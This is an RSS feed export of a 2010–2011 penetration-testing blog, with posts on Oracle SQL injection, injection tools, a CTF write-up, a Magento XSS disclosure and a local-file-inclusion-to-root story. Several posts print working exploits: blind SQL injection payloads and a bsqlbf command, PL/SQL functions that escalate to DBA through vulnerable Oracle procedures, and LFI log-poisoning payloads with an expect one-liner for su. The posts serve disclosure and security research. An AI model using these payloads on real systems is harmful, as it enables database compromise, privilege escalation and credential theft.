<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>www.notsosecure.com &#187; Research</title>
	<atom:link href="http://www.notsosecure.com/folder2/category/research/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.notsosecure.com/folder2</link>
	<description>From Pentesters To Pentesters</description>
	<lastBuildDate>Fri, 28 Oct 2011 15:32:39 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Hacking Oracle From Web: Part 2</title>
		<link>http://www.notsosecure.com/folder2/2011/10/28/hacking-oracle-from-web-part-2/</link>
		<comments>http://www.notsosecure.com/folder2/2011/10/28/hacking-oracle-from-web-part-2/#comments</comments>
		<pubDate>Fri, 28 Oct 2011 15:32:39 +0000</pubDate>
		<dc:creator>sid</dc:creator>
				<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/?p=459</guid>
		<description><![CDATA[It has been a long time since I posted something. In 2010, I released a paper which talked about how to execute OS code when exploiting a SQL Injection in a web app which talks to oracle database. Back then, I was not aware of 2 publicly available functions which could allow execution of PL/SQL [...]]]></description>
			<content:encoded><![CDATA[<p>It has been a long time since I posted something. In 2010, I released a <a href="http://www.corporate.7safe.com/wp-content/uploads/2011/05/Hacking_Oracle_From_Web_2.pdf">paper</a> which talked about how to execute OS code when exploiting a SQL Injection in a web app which talks to oracle database. Back then, I was not aware of 2 publicly available functions which could allow execution of PL/SQL statement. These functions change everything. These functions imply that we can issue multiple statements and overcome the limitations of oracle&#8217;s SQL language. Interestingly, these 2 functions exist from Oracle 9i upto 11g R2. While I am a little bit puzzled why I didn&#8217;t see these earlier, I have put together a few attack vectors in a new article/paper titled: <a href="http://www.corporate.7safe.com/wp-content/uploads/2011/10/hacking-Oracle-from-web-part2-2.pdf">Hacking Oracle From Web: Part 2</a></p>
<p>In a short summary, If you find a SQL Injection in a Oracle web app, you <strong>can</strong> issue multiple statements by calling one of the two publicly available functions. So, if the injection is in SELECT statement, you can run INSERT, DELETE etc. This also means that if the back-end database has any vulnerability, you can exploit it from the web and get higher privileges. Once you get higher privileges (typically become DBA) then you can execute OS code. </p>
<p>I have also made a small video which shows exploitation of a SQL Injection in an un-patched Oracle database. </p>
<p><iframe width="460" height="500" src="http://www.youtube.com/embed/J9PxYSvb8DI" frameborder="0" allowfullscreen></iframe></p>
<p>Happy Hacking&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.notsosecure.com/folder2/2011/10/28/hacking-oracle-from-web-part-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>LDAP/XPATH Injection tools</title>
		<link>http://www.notsosecure.com/folder2/2011/08/16/ldapxpath-injection-tools/</link>
		<comments>http://www.notsosecure.com/folder2/2011/08/16/ldapxpath-injection-tools/#comments</comments>
		<pubDate>Tue, 16 Aug 2011 17:14:43 +0000</pubDate>
		<dc:creator>sid</dc:creator>
				<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/?p=456</guid>
		<description><![CDATA[At this year&#8217;s Blackhat US, we conducted a small workshop titled &#8220;The Art of Exploiting Leser Known Injection Flaws&#8221;. In the workshop we discussed a variety of techniques for exploiting ldap, xpath, xml entity injection.
We also released a couple of tools for automating the attacks against LDAP and XPATH. These can be downloaded here:
http://code.google.com/p/ldap-blind-explorer/
http://code.google.com/p/xpath-blind-explorer/
There is [...]]]></description>
			<content:encoded><![CDATA[<p>At this year&#8217;s <a href="https://www.blackhat.com/html/bh-us-11/bh-us-11-briefings.html#Siddharth">Blackhat US</a>, we conducted a small workshop titled &#8220;The Art of Exploiting Leser Known Injection Flaws&#8221;. In the workshop we discussed a variety of techniques for exploiting ldap, xpath, xml entity injection.</p>
<p>We also released a couple of tools for automating the attacks against LDAP and XPATH. These can be downloaded here:</p>
<p><a href="http://code.google.com/p/ldap-blind-explorer/">http://code.google.com/p/ldap-blind-explorer/</a></p>
<p><a href="http://code.google.com/p/xpath-blind-explorer/">http://code.google.com/p/xpath-blind-explorer/</a></p>
<p>There is a small video showing this in action <a href="http://penetration-testing.7safe.com/the-art-of-exploiting-lesser-known-injection-flaws-revealed-at-black-hat/">here</a></p>
<p>Hope, you have fun exploiting XPATH and LDAP Injections with these automated tools.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.notsosecure.com/folder2/2011/08/16/ldapxpath-injection-tools/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>APPSECUSA CTF! Another Write Up</title>
		<link>http://www.notsosecure.com/folder2/2011/07/06/appsecusa-ctf-another-write-up/</link>
		<comments>http://www.notsosecure.com/folder2/2011/07/06/appsecusa-ctf-another-write-up/#comments</comments>
		<pubDate>Wed, 06 Jul 2011 19:39:36 +0000</pubDate>
		<dc:creator>sid</dc:creator>
				<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/?p=450</guid>
		<description><![CDATA[I recently came across the Appsec USA CTF. I must say it was a fantastic CTF and i wish there were more CTFs around application security topics. Well done Appsec team and organizers.
The official write up on how the winners solved the problem can be found here. If you are an appsec personnel then you [...]]]></description>
			<content:encoded><![CDATA[<p>I recently came across the <a href="http://www.appsecusa.org/ctf.html">Appsec USA CTF</a>. I must say it was a fantastic CTF and i wish there were more CTFs around application security topics. Well done Appsec team and organizers.</p>
<p>The official write up on how the winners solved the problem can be found <a href="http://devtrixlabs.com/blog/2011/07/appsecusa-2011-pre-challenge-2-walk-through/">here</a>. If you are an appsec personnel then you may want to read the rest of the blog after giving CTF another go.</p>
<p>&#8212;&#8212;-<br />
So, i wish i would have revisited the CTF later and have seen the hints! but anyways, I wanted to share an alternate solution to do the challenge. As it happens, the app has 2 sql injections, one in a select query and another one in Insert query. Obviously, the select query is pretty easy to exploit. Unfortunately, i wasnt clever enough to spot the injection in SELECT query and i worked out the hard way to exploit the insert SQL Injection and you actually don&#8217;t need the SELECT SQL injection and you can do everything within INSERT&#8230;:-)</p>
<p>here is the pseudo code:</p>
<p>INSERT INTO salerow(saleid,bookid,qty) VALUES(151576,1,<strong>injection\&#8217;</strong>)</p>
<p>clearly, the magic quote is enabled, but the injection is in integer, so doesn&#8217;t make much difference. You can use the True and Error scenario to exploit this:</p>
<p>INSERT INTO salerow(saleid,bookid,qty) VALUES(151576,1,<strong>(select case when (1=1) then 1 else 1*(select table_name from information_schema.tables)end)</strong>)<br />
&#8211;<br />
INSERT INTO salerow(saleid,bookid,qty) VALUES(151576,1,<strong>(select case when (1=2) then 1 else 1*(select table_name from information_schema.tables)end)</strong>)</p>
<p>Obviously you replace (1=1)/(1=2) with the boolean question you will ask the mysql server:</p>
<p>so a query like </p>
<p>INSERT INTO salerow(saleid,bookid,qty) VALUES(151576,1,<strong>(select case when (select substr(@@version,1,1))=5 then 1 else 1*(select table_name from information_schema.tables)end)</strong>)</p>
<p>will not produce an error but a query like this:</p>
<p>INSERT INTO salerow(saleid,bookid,qty) VALUES(151576,1,<strong>(select case when (select substr(@@version,1,1))=6 then 1 else 1*(select table_name from information_schema.tables)end)</strong>)</p>
<p>wil go to the else clause and will generate the following error:</p>
<p><strong>Query failed: Subquery returns more than 1 row<br />
</strong></p>
<p>So, now you have a standard true and false scenario and every time you see myql error, you have a false response and when you dont see an error you have a true response.</p>
<p>Using <a href="http://code.google.com/p/bsqlbf-v2/">bsqlbf</a> (with one slight modification)  you can exploit this injection and obtain the password hash for sales user. The command line options i used were(together with burp running on port 8080):</p>
<blockquote><p>bsqlbf-2.7pl -url &#8220;http://challenge.appsecusa.org/cart.php?action=purchase&#038;qty1=&#8221; -blind qty1 -nomatch &#8220;failed&#8221; -method POST -database 1 -type 2 -cookie &#8220;phpsessionid=xxxxxxxxxxxx&#8221; -proxy http://127.0.0.1:8080 -sql &#8220;select password from users where id=2&#8243;</p></blockquote>
<p>&#8212;<br />
Hope it helps..:)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.notsosecure.com/folder2/2011/07/06/appsecusa-ctf-another-write-up/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>BSQLBF v 2.7</title>
		<link>http://www.notsosecure.com/folder2/2011/06/20/bsqlbf-v-2-7/</link>
		<comments>http://www.notsosecure.com/folder2/2011/06/20/bsqlbf-v-2-7/#comments</comments>
		<pubDate>Mon, 20 Jun 2011 17:36:19 +0000</pubDate>
		<dc:creator>sid</dc:creator>
				<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/?p=448</guid>
		<description><![CDATA[An updated version is now available for download. This supports &#8220;-nomatch&#8221; switch. The -nomatch switch is exactly opposite of the -match switch, ie, it will look for the supplied unique keyword which only appears in the false page and NOT in true page. Remember, the &#8220;-match&#8221; looks for a unique string which only appears in [...]]]></description>
			<content:encoded><![CDATA[<p>An updated version is now available for download. This supports &#8220;-nomatch&#8221; switch. The -nomatch switch is exactly opposite of the -match switch, ie, it will look for the supplied unique keyword which only appears in the false page and <strong>NOT</strong> in true page. Remember, the &#8220;-match&#8221; looks for a unique string which only appears in true and do not appear in false cases.</p>
<p>The -nomatch switch is particularly useful which carying out injections in the following scenarios:</p>
<p>Injection in insert statement<br />
True and Error Scenario<br />
Injection in order by etc</p>
<p>Download it <a href="http://code.google.com/p/bsqlbf-v2/downloads/list">here</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.notsosecure.com/folder2/2011/06/20/bsqlbf-v-2-7/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Upcoming Conferences</title>
		<link>http://www.notsosecure.com/folder2/2011/06/04/upcoming-conferences/</link>
		<comments>http://www.notsosecure.com/folder2/2011/06/04/upcoming-conferences/#comments</comments>
		<pubDate>Sat, 04 Jun 2011 08:34:39 +0000</pubDate>
		<dc:creator>sid</dc:creator>
				<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/?p=443</guid>
		<description><![CDATA[It has been a long time since i posted something here ; infact, so long that i even forgot the password for the blog   
So, Just a small update on the things i have got lined up for the upcoming Conferences. 

Training: Hacking and Securing Oracle database (2 days)
I am quite excited about [...]]]></description>
			<content:encoded><![CDATA[<p>It has been a long time since i posted something here ; infact, so long that i even forgot the password for the blog <img src='http://www.notsosecure.com/folder2/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' />  </p>
<p>So, Just a small update on the things i have got lined up for the upcoming Conferences. </p>
<p><img src="https://www.blackhat.com/images/bh-us-11/bh11usa_468x60.png"></p>
<p><strong>Training: Hacking and Securing Oracle database (2 days)</strong><br />
I am quite excited about jointly holding a training session at this years&#8217;s Blackhat with <a href="http://red-database-security.com/">Alexander Kornbrust</a>. The training is ideal for Oracle DBA and Developers. It wont be all about getting shells from back-end database, but we will try to address some more real life problems such as how to manage 1000 instances of back-end database, the built-in Oracle features which can be used to harden the database, some common coding flaws etc. More details including registration details can be found <a href="https://www.blackhat.com/html/bh-us-11/training/kornbrust-siddharth-oracle.html">here</a></p>
<p><strong>Workshop: The Art of Exploiting Lesser Known Injection Flaws</strong><br />
At the Blackhat briefings, me and Aleks (Aleksander Gorkowienko) will be conducting a workshop on some &#8220;not very commmon&#8221; injection flaws. These are LDAP, XPATH, XML external entity etc. We are still working on this and i will post more details later. In a nutshell there will be loads of challenges, CTF, some prizes to be won (may be!) and loads of fun.</p>
<p>Thats all for me, see you in Vegas!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.notsosecure.com/folder2/2011/06/04/upcoming-conferences/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Oracle CPU Jan 2011</title>
		<link>http://www.notsosecure.com/folder2/2011/01/19/oracle-cpu-jan-2011/</link>
		<comments>http://www.notsosecure.com/folder2/2011/01/19/oracle-cpu-jan-2011/#comments</comments>
		<pubDate>Wed, 19 Jan 2011 07:23:44 +0000</pubDate>
		<dc:creator>sid</dc:creator>
				<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/?p=436</guid>
		<description><![CDATA[Oracle recently patched a vulnerability which I reported in 2009. The vulnerability was a SQL Injection in procedure mdsys.reset_inprog_index(). This procedure cannot be executed by public and when I reported this to Oracle the response was:
Our analysis shows that this issue cannot be exploited except by a user with DBA privileges.
Based on this analysis, we [...]]]></description>
			<content:encoded><![CDATA[<p>Oracle recently <a href="http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html">patched</a> a vulnerability which I reported in 2009. The vulnerability was a SQL Injection in procedure mdsys.reset_inprog_index(). This procedure cannot be executed by public and when I reported this to Oracle the response was:</p>
<blockquote><p>Our analysis shows that this issue cannot be exploited except by a user with DBA privileges.<br />
Based on this analysis, we will not be creating a CPU fix and will close this issue as &#8220;Not a Security Bug&#8221;.</p></blockquote>
<p>Interestingly, this procedure is not in SYS or SYSTEM schema but in MDSYS schema. Thus any user with &#8220;execute any procedure&#8221; privilege will be able to execute/exploit it. Also, MDSYS user does not have the DBA role. So, can you become DBA?</p>
<p>Well, although MDSYS does not have DBA role it has &#8220;CREATE ANY TRIGGER&#8221; privilege and thus exploiting this will give DBA privileges (indirectly). Here is an example:</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
lets assume that scott has execute any procedure privilege:</p>
<p>now scott creates a function such as:</p>
<p><code>create or replace function fn2 return int authid current_user is<br />
pragma autonomous_transaction;<br />
BEGIN<br />
execute immediate 'create or replace trigger "SYSTEM".the_trigger2<br />
before insert on  system.OL$ for each row BEGIN  SCOTT.Z();<br />
dbms_output.put_line(''aa'');end ;';<br />
return 1;<br />
END;</code></p>
<p>than scott makes this function executable by public:</p>
<p><code>grant execute on scott.fn2 to public;</code></p>
<p>now since scott has execute any procedure privilege, he injects the function created above and make mdsys create a trigger in &#8220;system&#8221; schema:</p>
<p><code>begin<br />
mdsys.reset_inprog_index('aa'' and scott.fn2()=1 and ''1''=''1','bbbbb');<br />
end; </code></p>
<p>Since, public has insert privileges on system.OL$, he does:</p>
<p><code>insert into system.OL$ (OL_NAME) VALUES ('JOB Done');</code></p>
<p>this should make the system user execute the function SCOTT.Z() giving scott DBA privileges.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
This leaves the question, is getting DBA from &#8220;execute any procedure&#8221; privilege a big deal? Its not a big deal theoretically, but here is a real life example which i found in quite a few pentests in which i think this vulnerability has been quite handy.</p>
<p>Oracle 10g onwards lock all default accounts and hence the good old pwnage techniques like connecting with system/change_on_install doesnot really work that much anymore. However, one account which I see quite often in un-locked state is OUTLN/OUTLN (I have seen it unlocked even in a few 11g R2). This is not a default behavior but its common to see. These are the accounts which have &#8220;EXECUTE ANY PROCEDURE&#8221; privilege:</p>
<p>SYS     EXECUTE ANY PROCEDURE<br />
DBA     EXECUTE ANY PROCEDURE<br />
IMP_FULL_DATABASE       EXECUTE ANY PROCEDURE<br />
EXP_FULL_DATABASE       EXECUTE ANY PROCEDURE<br />
WMSYS   EXECUTE ANY PROCEDURE<br />
FLOWS_030000    EXECUTE ANY PROCEDURE<br />
OUTLN   EXECUTE ANY PROCEDURE<br />
WKSYS   EXECUTE ANY PROCEDURE<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
<strong>Summary:</strong> So, if you come across an Oracle database (11g R1, R2) with one of the above mentioned account in un-locked state, you can use this vulnerability to become DBA. In the end, Oracle decided to patch this and this won&#8217;t work anymore after the Jan 2011 patch <img src='http://www.notsosecure.com/folder2/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /><br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.notsosecure.com/folder2/2011/01/19/oracle-cpu-jan-2011/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Magento E-commerce Persistent XSS</title>
		<link>http://www.notsosecure.com/folder2/2010/11/23/magento-e-commerce-persistent-xss/</link>
		<comments>http://www.notsosecure.com/folder2/2010/11/23/magento-e-commerce-persistent-xss/#comments</comments>
		<pubDate>Tue, 23 Nov 2010 17:00:42 +0000</pubDate>
		<dc:creator>sid</dc:creator>
				<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/?p=417</guid>
		<description><![CDATA[In a recent pentest, I identified a critical security flaw within Magento ecommerce solution. The flaw is a &#8216;text-book&#8217; persistent XSS within the admin console which can be triggered by any malicious &#8220;non admin&#8221; user. This would result in the compromise of the admin section and we all know what follows from here on.
 This [...]]]></description>
			<content:encoded><![CDATA[<p>In a recent pentest, I identified a critical security flaw within Magento ecommerce solution. The flaw is a &#8216;text-book&#8217; persistent XSS within the admin console which can be triggered by any malicious &#8220;non admin&#8221; user. This would result in the compromise of the admin section and we all know what follows from here on.</p>
<p> This is a classical example which shows that the admin functionality is equally important to assess against security vulnerabilities and not just the publicly available website.  Just because the admin functionality is restricted to trusted users, you cannot ignore the vulnerabilities and this is even more critical when using an open source software. </p>
<p>We reported this issue to Magento on September 24th and the response from Magento was: &#8220;We have investigated and fixed the issue which will be available in the next weekly release and next stable (1.9.1.0 and 1.4.2.0)&#8221;. Magento didn&#8217;t bother to respond to any further emails on when this next &#8220;weekly&#8221; release will be due and no new version/patch was made available until November 8th when a &#8220;preview&#8221; version was released and the release notes actually mentions addressing this issue. More details about this issue and the actual vulnerability can be found <a href="http://penetration-testing.7safe.com/magento-e-commerce-persistent-cross-site-scripting-issue/">here</a>. </p>
<p>Magento&#8217;s updated version and release notes can be read <a href="http://www.magentocommerce.com/download/release_notes#Release%20Notes%20-%20Magento%201.4.2.0-rc1%20(November%208,%202010)">here</a>. While I understand that this release is not a stable version and upgrading to a preview release may not be the best idea and that some may debate whether this is a responsible disclosure and all that. To be honest, the vendor might have taken a better approach and actually bothered to release a security patch. If i know this issue, then its quite likely someone else knows it too and that it might have been exploited in the wild and so on &#8230;</p>
<p>Enough of my ranting. If you are using Magento, <strong>UPDATE NOW!!</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.notsosecure.com/folder2/2010/11/23/magento-e-commerce-persistent-xss/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Oracle CPU:October 2010</title>
		<link>http://www.notsosecure.com/folder2/2010/10/16/oracle-cpuoctober-2010/</link>
		<comments>http://www.notsosecure.com/folder2/2010/10/16/oracle-cpuoctober-2010/#comments</comments>
		<pubDate>Sat, 16 Oct 2010 08:02:28 +0000</pubDate>
		<dc:creator>sid</dc:creator>
				<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/?p=423</guid>
		<description><![CDATA[There are some very interesting issues fixed by Oracle in this month&#8217;s Critical Patch Update (CPU). Although, the details about the exact vulnerabilities are still not public. The ones which i found really interesting are:
1. ZDI-10-201: Oracle Database Java Stored Procedure Race Condition Remote Code Execution Vulnerability
&#8221; This vulnerability allows remote attackers to break out [...]]]></description>
			<content:encoded><![CDATA[<p>There are some very interesting issues fixed by Oracle in this month&#8217;s Critical Patch Update (CPU). Although, the details about the exact vulnerabilities are still not public. The ones which i found really interesting are:</p>
<p>1. ZDI-10-201: Oracle Database Java Stored Procedure Race Condition Remote Code Execution Vulnerability</p>
<p>&#8221; This vulnerability allows remote attackers to break out of the Java Sandbox implemented by Oracle&#8217;s relational database. Authentication is required in that a user must be able to create a Java stored procedure<br />
to trigger the issue. &#8220;.. CVSS score 9</p>
<p>2. SQL Injection in DBMS_CDC_PUBLISH.CREATE_CHANGE_SET reported by Esteben, which could allow any user with <strong>EXECUTE_CATALOG_ROLE</strong> to become DBA.</p>
<p>the exploit is fairly simple:<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
as SCOTT User:</p>
<p>create or replace function pwn return varchar2 authid current_user is<br />
PRAGMA autonomous_transaction;<br />
BEGIN<br />
execute immediate &#8216;grant dba to scott&#8217;;<br />
commit;<br />
return &#8216;z&#8217;;<br />
END;<br />
&#8211;<br />
grant execute on SCOTT.pwn to public<br />
&#8211;</p>
<p>begin<br />
sys.dbms_cdc_publish.create_change_set(&#8217;a',&#8217;a',&#8217;a&#8221;||SCOTT.pwn()||&#8221;a&#8217;,'Y&#8217;,sysdate,<br />
sysdate);<br />
end;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
The exploit is already available in metasploit: <a href="https://www.metasploit.com/redmine/projects/framework/repository/revisions/10691/entry/modules/auxiliary/sqli/oracle/dbms_cdc_publish3.rb">https://www.metasploit.com/redmine/projects/framework/repository/revisions/10691/entry/modules/auxiliary/sqli/oracle/dbms_cdc_publish3.rb</a>. Thanks to MC</p>
<p>This affects 10gR1, 10gR2, 11g R1 and 11gR2. I agree with <a href="http://www.appsecinc.com/news/pr/2010_10_12-TeamSHATTER-Researcher-Credited-By-Oracle-for-Reporting-Vulnerability-in-October-2010-Critical-Patch-Update.shtml">Appsec Inc</a> that the CVSS score should be 7.5 and not 4.9 which oracle has assigned to it.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.notsosecure.com/folder2/2010/10/16/oracle-cpuoctober-2010/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>LFI..Code Exec..Remote Root!</title>
		<link>http://www.notsosecure.com/folder2/2010/08/20/lfi-code-exec-remote-root/</link>
		<comments>http://www.notsosecure.com/folder2/2010/08/20/lfi-code-exec-remote-root/#comments</comments>
		<pubDate>Fri, 20 Aug 2010 15:09:29 +0000</pubDate>
		<dc:creator>sid</dc:creator>
				<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/?p=403</guid>
		<description><![CDATA[Recently on a pentest i came accross an interesting Local file inclusion vulnerability. On this occassion it was definitely not a RFI and all i could do was include files from local app server.
E.g. http://vulnsite.com?exec=aaa/../../../../../etc/passwd%00aa

returned the /etc/passwd file. The application server was running as &#8216;apache&#8217; user and it didnt have permissions to read /etc/shadow or [...]]]></description>
			<content:encoded><![CDATA[<p>Recently on a pentest i came accross an interesting <a href="http://www.owasp.org/index.php/PHP_File_Inclusion">Local file inclusion vulnerability</a>. On this occassion it was definitely not a RFI and all i could do was include files from local app server.</p>
<p><code>E.g. http://vulnsite.com?exec=aaa/../../../../../etc/passwd%00aa<br />
</code><br />
returned the /etc/passwd file. The application server was running as &#8216;apache&#8217; user and it didnt have permissions to read /etc/shadow or to do anything &#8220;interesting&#8221;. </p>
<p><strong>Code Execution:</strong></p>
<p>There are quite a few <a href="http://labs.neohapsis.com/2008/07/21/local-file-inclusion-%E2%80%93-tricks-of-the-trade/">nice articles </a>on internet on how one can do code execution from LFI. Essentially, you try to insert php code into certain files and then try to include these files. These files typically are:</p>
<p>Apache access logs<br />
Apache error logs<br />
/proc/self/environ</p>
<p>etc.</p>
<p>On this occassion the &#8216;apache&#8217; user had access to read the error logs. So, when you access  a URI such as:</p>
<p><code>http://vuln.com/foo%3c%3fphp%20passthru('id')%20%3f%3e</code></p>
<p>It adds the following line to apache&#8217;s error log:</p>
<p><code> 404 file not found foo</code>&lt;?php passthru(&#8217;id&#8217;);?&gt;</p>
<p>Now, you can include the error log files and execute the OS code:</p>
<p><code>http://vulnsite.com?exec=aaa/../../../../../usr/local/apache/logs/error_logs%00a</code></p>
<p><strong>Getting Root:</strong></p>
<p>On this occasion, i was lucky and i spotted a file which had a clear text root password in it. However, getting root wasnt very easy, as i could not figure out an easy way to provide this root password within the php script. In the end after searching for quite a bit, i found a way to do this in expect with the following 1 line of php script:<br />
<code><br />
&lt;?php passthru('echo -e \'#!/usr/bin/expect -f\nset password [lrange $argv 0 0]; set cmd [lrange $argv 1 1];set timeout -1; spawn su -c "$cmd" ;match_max 100000 ;expect "*?assword:*"; send -- "$password\r"; send -- "\r"; expect eof\'>/tmp/su.exp&#038;/usr/bin/expect /tmp/su.exp passw0rd whoami>>/tmp/out.txt');?&gt;<br />
</code><br />
This script will do the following:<br />
1. create an expect script(/tmp/su.exp) which will take the root (su) password and command to execute as argument.<br />
2. run the expect script with the root password and command to run as root.</p>
<p>Enjoy the root privileges!<br />
P.S: it is quite common to see expect installed on *nix application servers </p>
]]></content:encoded>
			<wfw:commentRss>http://www.notsosecure.com/folder2/2010/08/20/lfi-code-exec-remote-root/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Blackhat 2010</title>
		<link>http://www.notsosecure.com/folder2/2010/08/02/blackhat-2010/</link>
		<comments>http://www.notsosecure.com/folder2/2010/08/02/blackhat-2010/#comments</comments>
		<pubDate>Mon, 02 Aug 2010 21:47:33 +0000</pubDate>
		<dc:creator>sid</dc:creator>
				<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/?p=386</guid>
		<description><![CDATA[Here are my slides from Blackhat 2010.
Hacking Oracle From Web Apps 1 9
View more presentations from sumsid1234.

&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-
Videos:
Demo1: 
Demo 1:  Oracle Sqlinjection Proxy Divx800&#215;600
View more videos from sumsid1234.

Demo2:
Demo 2:  Bsqlbf_2.6 Divx800&#215;600
View more videos from sumsid1234.

Demo 3:

Demo 4:

]]></description>
			<content:encoded><![CDATA[<p>Here are my slides from Blackhat 2010.</p>
<div style="width:425px" id="__ss_4889877"><strong style="display:block;margin:12px 0 4px"><a href="http://www.slideshare.net/sumsid1234/hacking-oracle-from-web-apps-1-9" title="Hacking Oracle From Web Apps 1 9">Hacking Oracle From Web Apps 1 9</a></strong><object id="__sse4889877" width="425" height="355"><param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=hackingoraclefromwebapps1-9-100802145254-phpapp02&#038;stripped_title=hacking-oracle-from-web-apps-1-9" /><param name="allowFullScreen" value="true"/><param name="allowScriptAccess" value="always"/><embed name="__sse4889877" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=hackingoraclefromwebapps1-9-100802145254-phpapp02&#038;stripped_title=hacking-oracle-from-web-apps-1-9" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"></embed></object>
<div style="padding:5px 0 12px">View more <a href="http://www.slideshare.net/">presentations</a> from <a href="http://www.slideshare.net/sumsid1234">sumsid1234</a>.</div>
</div>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
<strong>Videos:</strong></p>
<p><strong>Demo1: </strong></p>
<div style="width:425px" id="__ss_4889945"><strong style="display:block;margin:12px 0 4px"><a href="http://www.slideshare.net/sumsid1234/demo-1-oracle-sqlinjection-proxy-divx800x600" title="Demo 1:  Oracle Sqlinjection Proxy Divx800x600">Demo 1:  Oracle Sqlinjection Proxy Divx800&#215;600</a></strong><object id="__sse4889945" width="425" height="355"><param name="movie" value="http://static.slidesharecdn.com/swf/playerv.swf?doc=1-oraclesqlinjectionproxydivx800x600-100802150838-phpapp01-video&#038;stripped_title=demo-1-oracle-sqlinjection-proxy-divx800x600&#038;autoplay=0" /><param name="allowFullScreen" value="true"/><param name="allowScriptAccess" value="always"/><embed name="__sse4889945" src="http://static.slidesharecdn.com/swf/playerv.swf?doc=1-oraclesqlinjectionproxydivx800x600-100802150838-phpapp01-video&#038;stripped_title=demo-1-oracle-sqlinjection-proxy-divx800x600&#038;autoplay=0" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"></embed></object>
<div style="padding:5px 0 12px">View more <a href="http://www.slideshare.net/">videos</a> from <a href="http://www.slideshare.net/sumsid1234">sumsid1234</a>.</div>
</div>
<p><strong>Demo2:</strong></p>
<div style="width:425px" id="__ss_4889969"><strong style="display:block;margin:12px 0 4px"><a href="http://www.slideshare.net/sumsid1234/demo-2-bsqlbf26-divx800x600" title="Demo 2:  Bsqlbf_2.6 Divx800x600">Demo 2:  Bsqlbf_2.6 Divx800&#215;600</a></strong><object id="__sse4889969" width="425" height="355"><param name="movie" value="http://static.slidesharecdn.com/swf/playerv.swf?doc=2-bsqlbf2-61divx800x600-100802151446-phpapp01-video&#038;stripped_title=demo-2-bsqlbf26-divx800x600&#038;autoplay=0" /><param name="allowFullScreen" value="true"/><param name="allowScriptAccess" value="always"/><embed name="__sse4889969" src="http://static.slidesharecdn.com/swf/playerv.swf?doc=2-bsqlbf2-61divx800x600-100802151446-phpapp01-video&#038;stripped_title=demo-2-bsqlbf26-divx800x600&#038;autoplay=0" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"></embed></object>
